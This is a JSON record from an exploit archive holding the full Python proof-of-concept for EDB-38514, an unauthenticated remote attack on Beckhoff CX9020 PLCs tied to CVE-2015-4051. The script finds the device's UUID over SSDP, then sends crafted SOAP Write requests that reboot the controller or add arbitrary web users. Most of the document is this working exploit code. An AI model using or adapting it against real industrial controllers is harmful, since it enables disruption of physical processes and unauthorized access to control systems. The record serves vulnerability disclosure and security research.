{"exploit":{"id":"EDB-38514","name":"Beckhoff CX9020 CPU Module - Remote Code Execution (RCE)","description":"Beckhoff CX9020 CPU Module - Remote Code Execution (RCE)","cves":["CVE-2015-4051"],"author":"Photubias","published":"2015-10-22","platform":"hardware","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/38514","path":"exploits/hardware/webapps/38514.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-38514.py","vulnerabilities":[{"id":"CVE-2015-4051","state":"PUBLISHED","title":null,"titleSource":null,"description":"Beckhoff IPC Diagnostics before 1.8 does not properly restrict access to functions in /config, which allows remote attackers to cause a denial of service (reboot or shutdown), create arbitrary users, or possibly have unspecified other impact via a crafted request, as demonstrated by a beckhoff.com:service:cxconfig:1#Write SOAP action to /upnpisapi.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-4051","cvss":{"version":"2.0","baseScore":9,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-4051"},"updatedAt":"2024-08-06T06:04:02.663Z","retrievedAt":"2026-11-27T14:07:33.653Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-38514.png?v=2","url":"https://exploitbin.com/exploits/EDB-38514","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-38514/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-38514/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\n'''\n    # Exploit Title: Beckhoff CX9020 CPU Module Web Exploit (RCE)\n    # Date: 2015-10-22\n    # Exploit Author: Photubias - tijl[dot]deneut[at]howest[dot]be, based on work by Frank Lycops (frank.lycops@thesecurityfactory.be)\n    # Vendor Homepage: https://www.beckhoff.com/english.asp?embedded_pc/cx9020.htm\n    # Version: TwinCat UpnpWebsite < 3.1.4018.13, fixed with ftp://ftp.beckhoff.com/software/embPC-Control/CX90xx/CX9020/CE/TC3/CX9020_CB3011_WEC7_HPS_v602i_TC31_B4018.13.zip\n    # Tested on: Python runs on any Windows or Linux\n    # CVE : CVE-2015-4051 (similar to this CVE, but different service IPC Diagnostics Authentication <> Web Authentication)\n\n    Copyright 2015 Photubias(c)\n\n    Written for Howest(c) University College, Ghent University, XiaK\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nFile name CX9020-WebControl.py\nwritten by tijl[dot]deneut[at]howest[dot]be\nThis POC allows to reboot any CX9020 PLC and add random (Web) users to be configured.\n -> Test by going to http://<IP>/config (redirects to http://<NAME>:5120/UpnpWebsite/index.htm)\n -> Default credentials are guest/1 and webguest/1, but this exploit works without credentials\n -> Verify Website version by logging into http://<IP>/config and clicking \"TwinCAT\"\n'''\nimport sys, httplib, socket, re, base64\n\n## Defining Functions first:\ndef rebootMachine(UNS, IP, IO):\n        ## This is the SOAP Message:\n        SoapMessage = \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?><s:Envelope s:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\" xmlns:s=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\">\"\n        SoapMessage += \"<s:Body><u:Write xmlns:u=\\\"urn:beckhoff.com:service:cxconfig:1\\\"><netId></netId><nPort>0</nPort><indexGroup>0</indexGroup>\"\n        SoapMessage += \"<IndexOffset>-\" + IO + \"</IndexOffset>\"\n        SoapMessage += \"<pData>AQAAAAAA</pData></u:Write></s:Body></s:Envelope>\"\n\n        ## Construct and send the HTTP POST header\n        rebootwebservice = httplib.HTTP(IP + \":5120\")\n        rebootwebservice.putrequest(\"POST\", \"/upnpisapi?uuid:\" + UNS + \"+urn:beckhoff.com:serviceId:cxconfig\")\n        rebootwebservice.putheader(\"Host\", IP + \":5120\")\n        rebootwebservice.putheader(\"User-Agent\", \"Tijls Python Script\")\n        rebootwebservice.putheader(\"Content-type\", \"text/xml; charset=utf-8\")\n        rebootwebservice.putheader(\"Content-length\", \"%d\" % len(SoapMessage))\n        rebootwebservice.putheader(\"SOAPAction\", \"urn:beckhoff.com:service:cxconfig:1#Write\")\n        rebootwebservice.endheaders()\n        rebootwebservice.send(SoapMessage)\n\n        ## Get the response\n        statuscode, statusmessage, header = rebootwebservice.getreply()\n        if statuscode == 200:\n                print \"Exploit worked, device should be rebooting!\"\n                return 1\n        else:\n                print \"Something went wrong, the used index is probably wrong? This is the response code:\"\n                ## Printing HTTP Response code\n                res = rebootwebservice.getfile().read()\n                print res\n                return 0\n\n        #print \"Response: \", statuscode, statusmessage\n        #print \"headers: \", header\n\ndef addUser(UNS, IP, PDATA, IO):\n        ## This is the SOAP Message:\n        SoapMessage = '<?xml version=\"1.0\" encoding=\"utf-8\"?><s:Envelope s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">'\n        SoapMessage += '<s:Body><u:Write xmlns:u=\"urn:beckhoff.com:service:cxconfig:1\"><netId></netId><nPort>0</nPort><indexGroup>0</indexGroup>'\n        SoapMessage += '<IndexOffset>-' + IO + '</IndexOffset>'\n        SoapMessage += '<pData>' + PDATA + '</pData></u:Write></s:Body></s:Envelope>'\n\n        ## Construct and send the HTTP POST header\n        rebootwebservice = httplib.HTTP(IP + \":5120\")\n        rebootwebservice.putrequest(\"POST\", \"/upnpisapi?uuid:\" + UNS + \"+urn:beckhoff.com:serviceId:cxconfig\")\n        rebootwebservice.putheader(\"Host\", IP + \":5120\")\n        rebootwebservice.putheader(\"User-Agent\", \"Tijls Python Script\")\n        rebootwebservice.putheader(\"Content-type\", \"text/xml; charset=utf-8\")\n        rebootwebservice.putheader(\"Content-length\", \"%d\" % len(SoapMessage))\n        rebootwebservice.putheader(\"SOAPAction\", \"urn:beckhoff.com:service:cxconfig:1#Write\")\n        rebootwebservice.endheaders()\n        rebootwebservice.send(SoapMessage)\n\n        ## Get the response\n        statuscode, statusmessage, header = rebootwebservice.getreply()\n        if statuscode == 200:\n                print \"Exploit worked, user is added!\"\n                return 1\n        else:\n                print \"Something went wrong, the used index is probably wrong? This is the response code:\"\n                ## Printing HTTP Response code\n                res = rebootwebservice.getfile().read()\n                print res\n                return 0\n\n        #print \"Response: \", statuscode, statusmessage\n        #print \"headers: \", header\n\ndef addOwnUser(UNS, IP, IO):\n        ## This will prompt for username and password and then create the custom pData string\n        USERNAME = raw_input(\"Please enter the username: \")\n        PASSWORD = raw_input(\"Please enter the password: \")\n        CONCATENATED = USERNAME + PASSWORD\n\n        # Creating the Full String to encode\n        FULLSTRING = chr(16+len(CONCATENATED))\n        FULLSTRING += chr(0)+chr(0)+chr(0)\n        FULLSTRING += chr(len(USERNAME))\n        FULLSTRING += chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)\n        FULLSTRING += chr(len(PASSWORD))\n        FULLSTRING += chr(0)+chr(0)+chr(0)\n        FULLSTRING += CONCATENATED\n\n        # Encode a first time, but we don't want any '=' signs in the encoded version\n        PDATA = base64.b64encode(FULLSTRING)\n        if PDATA.endswith('='):\n                FULLSTRING += chr(0)\n                PDATA = base64.b64encode(FULLSTRING)\n        if PDATA.endswith('='):\n                FULLSTRING += chr(0)\n                PDATA = base64.b64encode(FULLSTRING)\n\n        # Now we have the correct PDATA string\n        print 'We will use this string: '+PDATA\n        return addUser(UNS, IP, PDATA, IO)\n\ndef is_ipv4(ip):\n\tmatch = re.match(\"^(\\d{0,3})\\.(\\d{0,3})\\.(\\d{0,3})\\.(\\d{0,3})$\", ip)\n\tif not match:\n\t\treturn False\n\tquad = []\n\tfor number in match.groups():\n\t\tquad.append(int(number))\n\tif quad[0] < 1:\n\t\treturn False\n\tfor number in quad:\n\t\tif number > 255 or number < 0:\n\t\t\treturn False\n\treturn True\n\n###### START PROGRAM #######\nif not len(sys.argv) == 2:\n        IP = raw_input(\"Please enter the IPv4 address of the Beckhoff PLC: \")\nelse:\n        IP = sys.argv[1]\n\nif not is_ipv4(IP):\n\tprint \"Please go read RFC 791 and then use a legitimate IPv4 address.\"\n\tsys.exit()\n\n## Initialize variables\nUNS = ''\nActiveRebootIndOff = '1329528576' # Active means active Engineering Licenses (when PLC has been programmed less than a week ago)\nInactiveRebootIndOff = '1330577152'\nActiveUserIndOff = '1339031296'\nInactiveUserIndOff = '1340079872'\n\nprint 'Finding the unique UNS (UUID) of the target system (' + IP + '), hold on...\\n'\n\nDISCOVERY_MSG = ('M-SEARCH * HTTP/1.1\\r\\n' +\n                 'HOST: 239.255.255.250:1900\\r\\n' +\n                 'MAN: \"ssdp:discover\"\\r\\n' +\n                 'MX: 3\\r\\n' +\n                 'ST: upnp:rootdevice\\r\\n' +\n                 '\\r\\n')\n\nSOCK = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nSOCK.settimeout(10)\nSOCK.sendto(DISCOVERY_MSG, (IP, 1900))\ntry:\n        RESPONSE = SOCK.recv(1000).split('\\r\\n')\nexcept:\n        print 'Something went wrong, is the system online?\\nTry opening http://' + IP + ':5120/config\\n'\n        raw_input('Press Enter to continue...')\n        sys.exit(0)\n\nfor LINE in RESPONSE:\n        if ':uuid' in LINE:\n                UNS = LINE[9:45]\n                print 'Got it: ' + LINE[9:45] + '\\n'\nSOCK.close()\n\nif not UNS:\n        print '\\n\\nProblem finding UNS, this is full SSDP response: \\n'\n        for LINE in RESPONSE: print LINE\n        input('Press Enter to continue...')\n        sys.exit(0)\nelse:\n        print 'Let\\'s go, choose your option:'\n        print '1 = reboot PLC'\n        print '2 = add user tijl with password xiak'\n        print '3 = add user from your choosing'\n        usr_input = raw_input('Select a number: ')\n        if usr_input == '1':\n                if not rebootMachine(UNS, IP, InactiveRebootIndOff):\n                        rebootMachine(UNS, IP, ActiveRebootIndOff)\n                raw_input('Press Enter to continue...')\n        elif usr_input == '2':\n                if not addUser(UNS, IP, 'GAAAAAQAAAAAAAAABAAAAHRpamx4aWFr', InactiveUserIndOff):\n                        addUser(UNS, IP, 'GAAAAAQAAAAAAAAABAAAAHRpamx4aWFr', ActiveUserIndOff)\n                raw_input('Press Enter to continue...')\n        elif usr_input == '3':\n                if not addOwnUser(UNS, IP, InactiveUserIndOff):\n                        addOwnUser(UNS, IP, ActiveUserIndOff)\n                raw_input('Press Enter to continue...')\n        else:\n                print 'Please choose a sensible input next time, exiting.'\n                input('Press Enter to continue...')\n                sys.exit()","sha256":"64053b2d203ffea8eb899244be76019eb65221d238071c9cc7ddb5c62954168f","bytes":9731,"fetchedAt":"2026-11-27T14:07:32.012Z","encoding":"utf-8 (display only; download retains original bytes)"}